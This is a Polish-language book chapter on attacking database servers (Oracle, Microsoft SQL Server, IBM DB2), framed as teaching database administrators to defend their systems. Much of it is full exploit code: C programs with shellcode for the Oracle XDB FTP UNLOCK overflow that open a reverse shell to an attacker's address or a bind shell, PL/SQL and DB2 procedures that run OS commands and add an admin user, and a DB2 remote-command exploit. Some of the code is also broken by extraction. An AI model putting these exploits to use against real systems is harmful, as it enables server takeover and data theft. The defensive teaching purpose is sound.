Atakowanie oprogramowania bazodanowego

Porównując serwery baz danych z serwerami sieci Web, okazuje się, że serwery sieci Web są zdumiewająco bezpieczniejsze niż serwery baz danych. To nie jest po prostu kwestia większej funkcjonalności; Serwery WWW są zawieszone w Internecie, a serwery baz danych są ukryte głęboko za zaporami ogniowymi w rdzeniu sieci. Konsumenci na ogół domagają się, aby ich serwery internetowe były bezpieczne i, co dziwaczne, bardziej wyrozumiały, jeśli chodzi o ich bazy danych. Mamy nadzieję, że po przeczytaniu tego rozdziału podzielisz opinię, że administratorzy baz danych (DBA) powinni troszkę mniej dbać o szybkość, a nieco bardziej o ochronę swoich kluczowych zasobów: danych. Nasi dostawcy zapewnią nam bezpieczniejsze oprogramowanie serwerowe bazy danych tylko wtedy, gdy tego zażądamy. Żaden sprzedawca nie jest lepszy od drugiego. To powiedziawszy, w niedalekiej przeszłości widzieliśmy kilka niezwykle pozytywnych ruchów dokonanych przez większych graczy na arenie RDBMS z bardziej proaktywną postawą, jeśli chodzi o bezpieczeństwo. Trzeba zrobić więcej, ale w końcu zmierzamy we właściwym kierunku. Tak więc, rezygnując z mydła, przyjrzyjmy się sposobom, w jakie atakujący mogą obecnie przejąć kontrolę nad serwerami baz danych; wiedza o tym, jak to się robi, pozwoli administratorom baz danych zaprojektować i wdrożyć bardziej holistyczną strategię defensywną. Serwery baz danych przechowują dane w uporządkowany sposób, używając tabel do grupowania wspólnych lub powiązanych fragmentów danych w kolumny. Te dane są odpytywane, aktualizowane i usuwane przy użyciu języka Structured Query Language (SQL). Ponadto dostawcy baz danych dodają własną mieszankę dodatkowych funkcji, takich jak rozszerzenia standardowych funkcji SQL (Transact-SQL lub T-SQL w Microsoft SQL Server i Procedural Language/SQL lub PL/SQL w Oracle) oraz rozszerzone procedury składowane. W tych obszarach leżą słabe punkty większości oprogramowania serwerowego bazy danych. Istnieje odwrotna zależność między funkcjonalnością a bezpieczeństwem: gdy oprogramowanie staje się bardziej funkcjonalne, łatwiej je złamać. Ataki na oprogramowanie serwera bazy danych mogą być wymierzone w warstwę sieciową lub warstwę aplikacji. W warstwie sieciowej zwykle zajmujesz się sprawami niskiego poziomu, a na poziomie aplikacji zwykle zajmujesz się SQL. W tym rozdziale przyjrzymy się niektórym problemom w Microsoft SQL Server, Oracle RDBMS i IBM DB2.

Ataki na warstwę sieci

Większość ataków na poziomie sieci zwykle wiąże się z wykorzystaniem przepełnień. W przeszłości zarówno Oracle, jak i oprogramowanie RDBMS firmy Microsoft cierpiały na luki na poziomie sieci. Jeśli do procedury logowania w Oracle podano zbyt długą nazwę użytkownika, to bufor oparty na stosie został przepełniony, co pozwoliło atakującemu uzyskać pełną kontrolę. Ten błąd został odkryty przez Marka Litchfielda z NGSSoftware i naprawiony przez Oracle w kwietniu 2003. Microsoft SQL Server cierpiał z powodu luki przepełnienia bufora opartej na stosie, dzięki której pierwszy pakiet wysłany przez klienta, który powinien zawierać tylko sygnaturę MSSQLServer, mógł zostać wykorzystany do przejęcia kontroli. Został znaleziony przez Dave'a Aitela, który nazwał go błędem Hello. Ten błąd został naprawiony przez firmę Microsoft w październiku 2002 r. Jeśli chodzi o wykorzystywanie dziur na poziomie sieci, nie można polegać na narzędziach klienta do pakowania protokołów; musisz sam napisać ten kod. Napisanie tego kodu wymaga zbadania protokołu na drucie. Będziesz potrzebować narzędzia do przechwytywania pakietów sieciowych, takiego jak NGSSniff, Network Monitor, tcpdump lub Wireshark, a także dostępu do oprogramowania serwera bazy danych, o którym mowa. Masz dwie metody projektowania exploita dla danego problemu w warstwie sieciowej. Możesz zrobić zrzut pakietów, wyciąć i wkleić ten zrzut do swojego exploita z kilkoma modyfikacjami i odpalić, lub możesz napisać bibliotekę dla danego protokołu. Zaletą pierwszej metody jest szybkie podłączanie i odtwarzanie. Drugi trwa nieco dłużej, ale po napisaniu jest dobry w przypadku problemu z następną

warstwą sieci. Dokumentację protokołu Tabular Data Stream (TDS) firmy Microsoft, badanego przez Briana Brunsa, można znaleźć na stronie www.freetds.org/tds.html.

Wiele pakietów oprogramowania serwera baz danych umożliwia użytkownikom wysyłanie zapytań do przechowywanych danych w sposób inny niż SQL. Zazwyczaj obejmują one inne standardowe protokoły, takie jak HTTP i ftp. Oracle 9, na przykład, oferuje bazę danych Oracle XML Database (XDB) przez HTTP na porcie 8080 i ftp na 2100. XDB jest instalowane domyślnie, a zarówno wersja internetowa, jak i ftp XDB są podatne na przepełnienie. Bufor oparty na stosie można przepełnić, podając zbyt długą nazwę użytkownika lub hasło do usługi sieci Web. Tak się składa, że w drodze do nadpisania zapisanego adresu powrotu przepełniasz również zmienną całkowitą, która jest następnie przekazywana jako liczba bajtów do skopiowania dla wywołania memcpy(). Ponieważ nie możemy mieć wartości null w łańcuchu przepełnienia, najmniejszą liczbą całkowitą, jaką możemy ustawić, jest 0x01010101. Jest to jednak nadal zbyt duże, a wywołanie dostępu do memcpy narusza lub narusza segmentację. To pozornie uniemożliwia eksploatację na platformach takich jak Linux (pozornie dlatego, że nigdy nie powinieneś mówić nigdy; można go wykorzystać na Linuksie – po prostu nie mieliśmy czasu, aby go wykorzystać). Jednak w systemie Windows możemy nadpisać strukturę EXCEPTION_REGISTRATION na stosie i użyć jej do uzyskania kontroli nad ścieżką wykonywania procesu. Podobny problem dotyczy usługi ftp. Zbyt długa nazwa użytkownika lub hasło przepełni bufor oparty na stosie, ale nadal mamy ten sam problem z odpowiednikiem usługi sieciowej. To powiedziawszy, jest jeszcze kilka przepełnień w usłudze ftp XDB. Oprócz udostępnienia większości standardowych poleceń ftp firma Oracle wprowadziła również kilka własnych. Dwa z nich, TEST i UNLOCK, są podatne na przepełnienie bufora na stosie i oba można łatwo wykorzystać na dowolnej platformie. Przedstawiamy dwie próbki, które wykorzystają przepełnienie w systemach Windows i Linux.

Windows XDB overflow exploit

```
#include <stdio.h>

#include <windows.h>

#include <winsock.h>

int GainControlOfOracle(char *, char *);

int StartWinsock(void);

int SetUpExploit(char *,int);

struct sockaddr_in s_sa;

struct hostent *he;

unsigned int addr;

char host[260]="";

unsigned char exploit[508]=

"\x55\x8B\xEC\xEB\x03\x5B\xEB\x05\xE8\xF8\xFF\xFF\xFF\xBE\xFF\xFF"

"\xFF\xFF\x81\xF6\xDC\xFE\xFF\xFF\x03\xDE\x33\xC0\x50\x50\x50\x50"

"\x50\x50\x50\x50\x50\x50\xFF\xD3\x50\x68\x61\x72\x79\x41\x68\x4C"

"\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\xFF\x75\xFC\xFF\x55\xF4\x89"
```

“\x45\xF0\x83\xC3\x63\x83\xC3\x5D\x33\xC9\xB1\x4E\xB2\xFF\x30\x13”

“\x83\xEB\x01\xE2\xF9\x43\x53\xFF\x75\xFC\xFF\x55\xF4\x89\x45\xEC”

“\x83\xC3\x10\x53\xFF\x75\xFC\xFF\x55\xF4\x89\x45\xE8\x83\xC3\x0C”

“\x53\xFF\x55\xF0\x89\x45\xF8\x83\xC3\x0C\x53\x50\xFF\x55\xF4\x89”

“\x45\xE4\x83\xC3\x0C\x53\xFF\x75\xF8\xFF\x55\xF4\x89\x45\xE0\x83”

“\xC3\x0C\x53\xFF\x75\xF8\xFF\x55\xF4\x89\x45\xDC\x83\xC3\x08\x89”

“\x5D\xD8\x33\xD2\x66\x83\xC2\x02\x54\x52\xFF\x55\xE4\x33\xC0\x33”

“\xC9\x66\xB9\x04\x01\x50\xE2\xFD\x89\x45\xD4\x89\x45\xD0\xBF\x0A”

“\x01\x01\x26\x89\x7D\xCC\x40\x40\x89\x45\xC8\x66\xB8\xFF\xFF\x66”

“\x35\xFF\xCA\x66\x89\x45\xCA\x6A\x01\x6A\x02\xFF\x55\xE0\x89\x45”

“\xE0\x6A\x10\x8D\x75\xC8\x56\x8B\x5D\xE0\x53\xFF\x55\xDC\x83\xC0”

“\x44\x89\x85\x58\xFF\xFF\xFF\x83\xC0\x5E\x83\xC0\x5E\x89\x45\x84”

“\x89\x5D\x90\x89\x5D\x94\x89\x5D\x98\x8D\xBD\x48\xFF\xFF\xFF\x57”

“\x8D\xBD\x58\xFF\xFF\xFF\x57\x33\xC0\x50\x50\x50\x83\xC0\x01\x50”

“\x83\xE8\x01\x50\x50\x8B\x5D\xD8\x53\x50\xFF\x55\xEC\xFF\x55\xE8”

“\x60\x33\xD2\x83\xC2\x30\x64\x8B\x02\x8B\x40\x0C\x8B\x70\x1C\xAD”

“\x8B\x50\x08\x52\x8B\xC2\x8B\xF2\x8B\xDA\x8B\xCA\x03\x52\x3C\x03”

“\x42\x78\x03\x58\x1C\x51\x6A\x1F\x59\x41\x03\x34\x08\x59\x03\x48”

“\x24\x5A\x52\x8B\xFA\x03\x3E\x81\x3F\x47\x65\x74\x50\x74\x08\x83”

“\xC6\x04\x83\xC1\x02\xEB\xEC\x83\xC7\x04\x81\x3F\x72\x6F\x63\x41”

“\x74\x08\x83\xC6\x04\x83\xC1\x02\xEB\xD9\x8B\xFA\x0F\xB7\x01\x03”

“\x3C\x83\x89\x7C\x24\x44\x8B\x3C\x24\x89\x7C\x24\x4C\x5F\x61\xC3”

“\x90\x90\x90\xBC\x8D\x9A\x9E\x8B\x9A\xAF\x8D\x90\x9C\x9A\x8C\x8C”

“\xBE\xFF\xFF\xBA\x87\x96\x8B\xAB\x97\x8D\x9A\x9E\x9B\xFF\xFF\xA8”

“\x8C\xCD\xA0\xCC\xCD\xD1\x9B\x93\x93\xFF\xFF\xA8\xAC\xBE\xAC\x8B”

“\x9E\x8D\x8B\x8A\x8F\xFF\xFF\xA8\xAC\xBE\xAC\x90\x9C\x94\x9A\x8B”

“\xBE\xFF\xFF\x9C\x90\x91\x91\x9A\x9C\x8B\xFF\x9C\x92\x9B\xFF\xFF”

“\xFF\xFF\xFF\xFF”;

char exploit_code[8000]=

“UNLOCK / aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnn”

“nooooppppqqqqrrrrsssstttuuuuvvvvwwwwxxxxyyyyzzzzAAAAAABBBBCCCCD”

```
“DDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSST”
“TTTUUUUVVVVWWWWXXXXYYYYZZZZabcdefghijklmnopqrstuvwxyzABCDEFGHIJK”
“LMNOPQRSTUVWXYZ000099998888777766665555444433332222111109876543 2”
“1aaaabbbbcc”;
char exception_handler[8]=”\x79\x9B\xf7\x77”;
char short_jump[8]=”\xEB\x06\x90\x90”;
int main(int argc, char *argv[])
{
if(argc != 6)
{
printf(“\n\n\tOracle XDB FTP Service UNLOCK Buffer Overflow Exploit”);
printf(“\n\t\tfor Blackhat (http://www.blackhat.com)“);
printf(“\n\n\tSpawns a reverse shell to specified port”);
printf(“\n\n\tUsage:\t%s host userid password ipaddress port”,argv[0]);
printf(“\n\n\tDavid Litchfield\n\t(david@ngssoftware.com)“);
printf(“\n\t6th July 2003\n\n\n”);
return 0;
}
strncpy(host,argv[1],250);
if(StartWinsock()==0)
return printf(“Error starting Winsock.\n”);
SetUpExploit(argv[4],atoi(argv[5]));
strcat(exploit_code,short_jump);
strcat(exploit_code,exception_handler);
strcat(exploit_code,exploit);
strcat(exploit_code,”\r\n”);
GainControlOfOracle(argv[2],argv[3]);
return 0;
}
int SetUpExploit(char *myip, int myport)
{
```

```
unsigned int ip=0;
unsigned short prt=0;
char *ipt="";
char *prtt="";
ip = inet_addr(myip);
ipt = (char*)&ip;
exploit[191]=ipt[0];
exploit[192]=ipt[1];
exploit[193]=ipt[2];
exploit[194]=ipt[3];
// set the TCP port to connect on
// netcat should be listening on this port
// e.g. nc -l -p 80
prt = htons((unsigned short)myport);
prt = prt ^ 0xFFFF;
prtt = (char *) &prt;
exploit[209]=prtt[0];
exploit[210]=prtt[1];
return 0;
int StartWinsock()
{
int err=0;
WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested = MAKEWORD( 2, 0 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 )
return 0;
if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0
)
{
```

```
WSACleanup( );
return 0;
}
if (isalpha(host[0]))
{
he = gethostbyname(host);
s_sa.sin_addr.s_addr=INADDR_ANY;
s_sa.sin_family=AF_INET;
memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
}
else
{
addr = inet_addr(host);
s_sa.sin_addr.s_addr=INADDR_ANY;
s_sa.sin_family=AF_INET;
memcpy(&s_sa.sin_addr,&addr,4);
he = (struct hostent *)1;
}
if (he == NULL)
{
return 0;
}
return 1;
}
int GainControlOfOracle(char *user, char *pass)
{
char usercmd[260]=”user “;
char passcmd[260]=”pass “;
char resp[1600]=””“;
int snd=0,rcv=0;
struct sockaddr_in r_addr;
```

```
SOCKET sock;
strncat(usercmd,user,230);
strcat(usercmd,"\r\n");
strncat(passcmd,pass,230);
strcat(passcmd,"\r\n");
sock=socket(AF_INET,SOCK_STREAM,0);
if (sock==INVALID_SOCKET)
return printf(" sock error");
r_addr.sin_family=AF_INET;
r_addr.sin_addr.s_addr=INADDR_ANY;
r_addr.sin_port=htons((unsigned short)0);
s_sa.sin_port=htons((unsigned short)2100);
if (connect(sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)
return printf("Connect error");
rcv = recv(sock,resp,1500,0);
printf("%s",resp);
ZeroMemory(resp,1600);
snd=send(sock, usercmd , strlen(usercmd) , 0);
rcv = recv(sock,resp,1500,0);
printf("%s",resp);
ZeroMemory(resp,1600);
snd=send(sock, passcmd , strlen(passcmd) , 0);
rcv = recv(sock,resp,1500,0);
printf("%s",resp);
if(resp[0]=='5')
{
closesocket(sock);
return printf("Failed to log in using user %s and password
%s.\n",user,pass);
}
ZeroMemory(resp,1600);
```

```
snd=send(sock, exploit_code, strlen(exploit_code) , 0);
Sleep(2000);
closesocket(sock);
return 0;
}
```

Linux XDB Overflow

```
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
int main(int argc, char *argv[])
{
struct hostent *he;
struct sockaddr_in sa;
int sock;
unsigned int addr = 0;
char recvbuffer[512]=””;
char user[260]=”user “;
char passwd[260]=”pass “;
int rcv=0;
int snd =0;
int count = 0;
unsigned char nop_sled[1804]=””;
unsigned char saved_return_address[]=”\x41\xc8\xff\xbf”;
unsigned char exploit[2100]=”unlock / AAAABBBBCCCCDDDDEE”
“EEFFFFGGGGHHHHIIIIJJJJKKKK”
“LLLLMMMMNNNNOOOOPPPPQQQ”
“QRRRRSSSSTTTTUUUUVVVVWWW”
“WXXXXYYYYZZZZaaaabbbbccccdd”;
```

```
unsigned char
code[]="\x31\xdb\x53\x43\x53\x43\x53\x4b\x6a\x66\x58\x54\x59\xcd"
"\x80\x50\x4b\x53\x53\x53\x66\x68\x41\x41\x43\x43\x66\x53"
"\x54\x59\x6a\x10\x51\x50\x54\x59\x6a\x66\x58\xcd\x80\x58"
"\x6a\x05\x50\x54\x59\x6a\x66\x58\x43\x43\xcd\x80\x58\x83"
"\xec\x10\x54\x5a\x54\x52\x50\x54\x59\x6a\x66\x58\x43\xcd"
"\x80\x50\x31\xc9\x5b\x6a\x3f\x58\xcd\x80\x41\x6a\x3f\x58"
"\xcd\x80\x41\x6a\x3f\x58\xcd\x80\x6a\x0b\x58\x99\x52\x68"
"\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x54\x5b\x52\x53\x54"
"\x59\xcd\x80\r\n";
if(argc !=4)
{
printf("\n\n\tOracle XDB FTP Service UNLOCK Buffer Overflow Exploit");
printf("\n\t\tfor Blackhat (http://www.blackhat.com)");
printf("\n\n\tSpawns a shell listening on TCP Port 16705");
printf("\n\n\tUsage:\t%s host userid password",argv[0]);
printf("\n\n\tDavid Litchfield\n\t(david@ngssoftware.com)");
printf("\n\t7th July 2003\n\n\n");
return 0;
}
while(count < 1800)
{
nop_sled[count++]=0x90;
}
// Build the exploit
strcat(exploit,saved_return_address);
strcat(exploit,nop_sled);
strcat(exploit,code);
// Process arguments
strncat(user,argv[2],240);
strncat(passwd,argv[3],240);
```

```
strcat(user,"\r\n");
strcat(passwd,"\r\n");
// Setup socket stuff
sa.sin_addr.s_addr=INADDR_ANY;
sa.sin_family = AF_INET;
sa.sin_port = htons((unsigned short) 2100);
// Resolve the target system
if(isalpha(argv[1][0])==0)
{
addr = inet_addr(argv[1]);
memcpy(&sa.sin_addr,&addr,4);
}
else
{
he = gethostbyname(argv[1]);
if(he == NULL)
return printf("Couldn't resolve host %s\n",argv[1]);
memcpy(&sa.sin_addr,he->h_addr,he->h_length);
}
sock = socket(AF_INET,SOCK_STREAM,0);
if(sock < 0)
return printf("socket() failed.\n");
if(connect(sock,(struct sockaddr *) &sa,sizeof(sa)) < 0)
{
close(sock);
return printf("connect() failed.\n");
}
printf("\nConnected to %s....\n",argv[1]);
// Receive and print banner
rcv = recv(sock,recvbuffer,508,0);
if(rcv > 0)
```

```
{
printf(“%s\n”,recvbuffer);
bzero(recvbuffer,rcv+1);
}
else
{
close(sock);
return printf(“Problem with recv()\n”);
}
// send user command
snd = send(sock,user,strlen(user),0);
if(snd != strlen(user))
{ close(sock);
return printf(“Problem with send()....\n”);
}
else
{
printf(“%s”,user);
}
// Receive response. Response code should be 331
rcv = recv(sock,recvbuffer,508,0);
if(rcv > 0)
{
if(recvbuffer[0]==0x33 && recvbuffer[1]==0x33 &&
recvbuffer[2]==0x31)
{
printf(“%s\n”,recvbuffer);
bzero(recvbuffer,rcv+1);
}
else
{
```

```
close(sock);
return printf("FTP response code was not 331.\n");
else
{
close(sock);
return printf("Problem with recv()\n");
}
// Send pass command
snd = send(sock,passwd,strlen(passwd),0);
if(snd != strlen(user))
{
close(sock);
return printf("Problem with send()....\n");
}
else
printf("%s",passwd);
// Receive response. If not 230 login has failed.
rcv = recv(sock,recvbuffer,508,0);
if(rcv > 0)
{
if(recvbuffer[0]==0x32 && recvbuffer[1]==0x33 &&
recvbuffer[2]==0x30)
{
printf("%s\n",recvbuffer);
bzero(recvbuffer,rcv+1);
}
else
{
close(sock);
return printf("FTP response code was not 230. Login
failed...\n");
```

```
}
}
else
{
close(sock);
return printf("Problem with recv()\n");
}
// Send the UNLOCK command with exploit
snd = send(sock,exploit,strlen(exploit),0);
if(snd != strlen(exploit))
{
close(sock);
return printf("Problem with send()....\n");
// Should receive a 550 error response.
rcv = recv(sock,recvbuffer,508,0);
if(rcv > 0)
printf("%s\n",recvbuffer);
printf("\n\nExploit code sent....\n\nNow telnet to %s
16705\n\n",argv[1]);
close(sock);
return 0;
}
```

Podczas gdy Oracle oferuje usługi bazy danych przez HTTP i ftp, DB2 oferuje serwer apletów JDBC na porcie TCP 6789. Ten serwer apletów istnieje po to, aby klienci WWW mogli pobierać i uruchamiać aplety Java za pomocą przeglądarki, która może wysyłać zapytania do serwera bazy danych. Aplet Java jest pobierany z serwera WWW i łączy się z serwerem apletów w celu przekazywania zapytań do serwera bazy danych. Oczywistym ryzykiem jest to, że zapytania pochodzą od klienta. Właśnie dlatego zapytanie może być zakodowane na stałe w aplecie nic nie znaczy - atakujący mogą po prostu wysyłać własne zapytania. Serwer apletów JDBC przekazuje następnie żądanie do serwera bazy danych, a wyniki są przekazywane z powrotem. Nie trzeba dodawać, że ta funkcja wydaje się wyjątkowo niebezpieczna i powinna być używana z ostrożnością. Microsoft oczywiście miał problemy z exploitem Slammer w 2003 roku. Slammer był opartym na stosie przepełnieniem bufora, które wynikało z wysłania pakietu UDP do portu 1434 z pierwszym bajtem 0x04, po którym następował zbyt długi ciąg.

Ataki na warstwę aplikacji

Istnieją dwie kategorie ataków na poziomie aplikacji. Pierwszy obejmuje po prostu wykorzystanie ujawnionej funkcjonalności w celu uruchomienia poleceń systemu operacyjnego, a drugi obejmuje wykorzystanie problemów z przepełnieniem bufora w ramach funkcjonalności. Tak czy inaczej, exploit jest napisany w języku SQL (lub T-SQL lub PL/SQL) i można go uruchomić ze standardowego narzędzia klienta SQL. Z uwagi na to, że SQL i rozszerzenia SQL są równoważne z językiem programowania, atak można ukryć, kodując go na wiele sposobów. Ta technika bardzo utrudnia docelowemu programowi obronę przed atakami lub nawet ich zauważenie, jeśli badanie odbywa się tylko w warstwie aplikacji. Z mojego doświadczenia wynika, że systemy wykrywania włamań (IDS), a nawet systemy zapobiegania włamaniom (IPS) żałośnie nie zauważają niczego nieoczekiwanego. Jako prosty przykład rozważmy następujący przykład: przed faktycznym atakiem exploit, który może zostać zaszyfrowany, jest wstawiany do tabeli. Następnie, być może kilka tygodni później, wykonywane jest drugie zapytanie, które wybiera exploita jako zmienną, a następnie go wykonuje

Query 1:

INSERT INTO TABLE1 (foo) VALUES ('EXPLOIT')

Query 2:

DECLARE @bar varchar(500)

SELECT @bar = foo FROM TABLE1

EXEC (@bar)

Można powiedzieć, że może to zostać rozpoznane jako atak przez dynamic exec. Z pewnością tak, ale jeśli tego rodzaju zapytanie nie wykracza poza granice normalnego użycia, to tego ataku nie można odróżnić od zwykłego zapytania. Zdecydowanie najlepszym podejściem do zabezpieczania serwerów baz danych nie jest poleganie na IPS/IDS, ale poświęcenie czasu na poważne blokowanie serwera.

Uruchamianie poleceń systemu operacyjnego

Z odpowiednimi uprawnieniami (i bardzo często bez nich) większość RDBMS pozwoli użytkownikowi uruchamiać polecenia systemu operacyjnego. Dlaczego ktoś miałby na to pozwolić? Powodów jest oczywiście wiele (aktualizacje zabezpieczeń Microsoft SQL Server często wymagają tej funkcjonalności, o czym mowa dalej), ale naszym zdaniem pozostawienie tego rodzaju funkcjonalności w stanie nienaruszonym jest zbyt niebezpieczne. Sposób, w jaki będziesz uruchamiać polecenia systemu operacyjnego za pośrednictwem oprogramowania RDBMS, różni się znacznie w zależności od dostawcy, którego używasz.

Microsoft SQL Server

Nawet jeśli nie wiesz zbyt wiele o Microsoft SQL Server, prawdopodobnie słyszałeś o rozszerzonej procedurze składowanej xp_cmdshell. Zwykle tylko użytkownicy z uprawnieniami sysadmin mogą uruchamiać xp_cmdshell, ale w ciągu ostatnich kilku lat wyszło na jaw kilka luk, które umożliwiają korzystanie z niego użytkownikom o niskich uprawnieniach. xp_cmdshell przyjmuje jeden parametr — polecenie do wykonania. To polecenie zwykle jest wykonywane przy użyciu kontekstu zabezpieczeń konta z uruchomionym programem SQL Server, który najczęściej jest kontem SYSTEMU LOKALNEGO. W niektórych przypadkach można skonfigurować konto proxy, a polecenie zostanie wykonane w kontekście bezpieczeństwa tego konta.

exec master..xp_cmdshell („katalog > c:\foo.txt")

Chociaż pozostawienie xp_cmdshell na miejscu często prowadziło do naruszenia bezpieczeństwa SQL Server, xp_cmdshell jest używane przez wiele aktualizacji zabezpieczeń. Dobrym zaleceniem byłoby usunięcie tej rozszerzonej procedury składowanej i przeniesienie pliku xplog70.dll z katalogu binn. Gdy musisz zastosować aktualizację zabezpieczeń, przenieś xplog70.dll z powrotem do katalogu binn i dodaj ponownie xp_cmdshell.

Oracle

Istnieją dwie metody uruchamiania poleceń systemu operacyjnego za pośrednictwem Oracle, chociaż nie istnieje żadna bezpośrednia metoda - dostępna jest tylko struktura umożliwiająca wykonywanie poleceń. Jedna metoda wykorzystuje procedurę składowaną PL/SQL. PL/SQL można rozszerzyć, aby umożliwić procedurze wywoływanie funkcji eksportowanych przez biblioteki systemu operacyjnego. Z tego powodu atakujący może poprosić Oracle o załadowanie biblioteki wykonawczej C (msvcrt.dll lub libc) i wykonanie funkcji C system(). Ta funkcja uruchamia polecenie w następujący sposób:

```
CREATE OR REPLACE LIBRARY exec_shell

AS ‘C:\winnt\system32\msvcrt.dll’;

/

show errors

CREATE OR REPLACE PACKAGE oracmd IS

PROCEDURE exec (cmdstring IN CHAR);

end oracmd;

/

show errors

CREATE OR REPLACE PACKAGE BODY oracmd IS

PROCEDURE exec(cmdstring IN CHAR)

IS EXTERNAL

NAME “system”

LIBRARY exec_shell

LANGUAGE C;

end oracmd;

/

exec oracmd.exec (‘net user ngssoftware password!! /add’);
```

Aby utworzyć taką procedurę, konto użytkownika musi mieć uprawnienie CREATE/ALTER (ANY) LIBRARY. W nowszych wersjach Oracle, biblioteki, które można załadować, są ograniczone do katalogu ${ORACLE_HOME}\bin. Jednak za pomocą ataku z podwójną kropką można wyrwać się z tego katalogu i załadować dowolną bibliotekę.

```
CREATE OR REPLACE LIBRARY exec_shell
```

AS '..\..\..\..\..\..\winnt\system32\msvcrt.dll';

Nie trzeba dodawać, że jeśli przeprowadzamy ten atak na systemie uniksowym, będziemy musieli zmienić nazwę biblioteki na ścieżkę libc.

Na marginesie, w niektórych wersjach Oracle możliwe jest nakłonienie oprogramowania do uruchamiania poleceń systemu operacyjnego nawet bez dotykania głównych usług RDBMS. Kiedy Oracle ładuje bibliotekę, łączy się z odbiornikiem TNS i odbiornik wykonuje mały program hosta o nazwie extproc w celu faktycznego załadowania biblioteki i wywołania funkcji. Komunikując się bezpośrednio z odbiornikiem TNS, można nakłonić go do wykonania extproc. W ten sposób osoba atakująca bez identyfikatora użytkownika lub hasła może przejąć kontrolę nad serwerem Oracle. Ta usterka została załatana.

IBM DB2

IBM DB2 jest podobny do Oracle i ma pewne podobne problemy z bezpieczeństwem. Możesz stworzyć procedurę uruchamiania poleceń systemu operacyjnego, podobnie jak w Oracle, ale domyślnie wydaje się, że każdy użytkownik może to zrobić. Podczas pierwszej instalacji DB2 do PUBLIC domyślnie przypisywane jest uprawnienie IMPLICIT_SCHEMA, które umożliwia użytkownikowi tworzenie nowego schematu. Właścicielem tego schematu jest SYSIBM, ale PUBLIC ma prawa do tworzenia w nim obiektów. W związku z tym użytkownik o niskich uprawnieniach może utworzyć nowy schemat i utworzyć w nim procedurę.

CREATE PROCEDURE rootdb2 (IN cmd varchar(200))

EXTERNAL NAME 'c:\winnt\system32\msvcrt!system'

LANGUAGE C

DETERMINISTIC

PARAMETER STYLE DB2SQL

call rootdb2 ('dir > c:\db2.txt')

Aby uniemożliwić użytkownikom o niskich uprawnieniach przeprowadzenie tego ataku, upewnij się, że uprawnienie IMPLICIT_SCHEMA zostało usunięte z PUBLIC. DB2 oferuje inny mechanizm uruchamiania poleceń systemu operacyjnego który nie używa SQL. Aby zmniejszyć obciążenie administracyjne, istnieje funkcja o nazwie DB2 Remote Command Server, która umożliwia, jak sama nazwa wskazuje, zdalne wykonywanie komend. Na platformach Windows ten serwer, db2rcmd.exe, przechowuje otwarty nazwany potok o nazwie DB2REMOTECMD, który klienci zdalni mogą otwierać, wysyłać polecenia i zwracać im wyniki. Przed wysłaniem polecenia w pierwszym zapisie wykonywany jest uścisk dłoni z poleceniem wysłanym w drugim zapisie. Po otrzymaniu tych dwóch zapisów powstaje oddzielny proces, db2rcmdc.exe, który jest następnie odpowiedzialny za wykonanie komendy. Serwer jest uruchamiany i działa w kontekście bezpieczeństwa konta db2admin, do którego domyślnie przypisane są uprawnienia administratora. Po wykonaniu polecenia db2rcmdc i ostatecznej komendy uprawnienia nie są usuwane. Aby połączyć się z potoku DB2REMOTECMD, klient potrzebuje identyfikatora użytkownika i hasła, ale pod warunkiem, że je posiada, nawet użytkownik o niskich uprawnieniach może uruchamiać komendy z uprawnieniami administratora. Nie trzeba dodawać, że stanowi to zagrożenie bezpieczeństwa. W najgorszym przypadku IBM powinien zmodyfikować kod Remote Command Server, aby przynajmniej najpierw wywołać ImpersonateNamedPipeClient przed wykonaniem polecenia. Oznaczałoby to, że polecenie zostanie wykonane z uprawnieniami żądającego użytkownika i administratora. Najlepszym scenariuszem byłoby zabezpieczenie nazwanego potoku i

zezwolenie na korzystanie z tej usługi tylko osobom z uprawnieniami administratora. Ten kod wykona polecenie na zdalnym serwerze i zwróci wyniki:

```
#include <stdio.h>

#include <windows.h>

int main(int argc, char *argv[])

{

char buffer[540]=””;

char NamedPipe[260]=”\\\\“;

HANDLE rcmd=NULL;

char *ptr = NULL;

int len =0;

DWORD Bytes = 0;

if(argc !=3)

{

printf(“\n\tDB2 Remote Command Exploit.\n\n”);

printf(“\tUsage: db2rmtcmd target \“command\“\n”);

printf(“\n\tDavid Litchfield\n\t(david@ngssoftware.com)\n\t6th

September 2003\n”);

return 0;

}

strncat(NamedPipe,argv[1],200);

strcat(NamedPipe,”\\pipe\\DB2REMOTECMD”);

// Setup handshake message

ZeroMemory(buffer,540);

buffer[0]=0x01;

ptr = &buffer[4];

strcpy(ptr,”DB2”);

len = strlen(argv[2]);

buffer[532]=(char)len;

// Open the named pipe

rcmd = CreateFile(NamedPipe,GENERIC_WRITE|GENERIC_READ,0,
```

```
NULL,OPEN_EXISTING,0,NULL);
if(rcmd == INVALID_HANDLE_VALUE)
return printf("Failed to open pipe %s. Error
%d.\n",NamedPipe,GetLastError());
// Send handshake
len = WriteFile(rcmd,buffer,536,&Bytes,NULL);
if(!len)
return printf("Failed to write to %s. Error
%d.\n",NamedPipe,GetLastError());
ZeroMemory(buffer,540);
strncpy(buffer,argv[2],254);
// Send command
len = WriteFile(rcmd,buffer,strlen(buffer),&Bytes,NULL);
if(!len)
return printf("Failed to write to %s. Error
%d.\n",NamedPipe,GetLastError());
// Read results
while(len)
{
len = ReadFile(rcmd,buffer,530,&Bytes,NULL);
printf("%s",buffer);
ZeroMemory(buffer,540);
}
return 0;
```

Zezwalanie na zdalne wykonywanie poleceń jest nieco ryzykowne i ta usługa powinna być wyłączona tam, gdzie to możliwe. Wymieniliśmy kilka sposobów wykonywania poleceń systemu operacyjnego za pomocą oprogramowania RDBMS. Oczywiście istnieją inne metody. Zachęcamy do dokładnego zbadania oprogramowania w celu znalezienia jego słabych punktów i podjęcia kroków w celu zapobieżenia jego złamaniu.

Wykorzystywanie przekroczeń na poziomie SQL

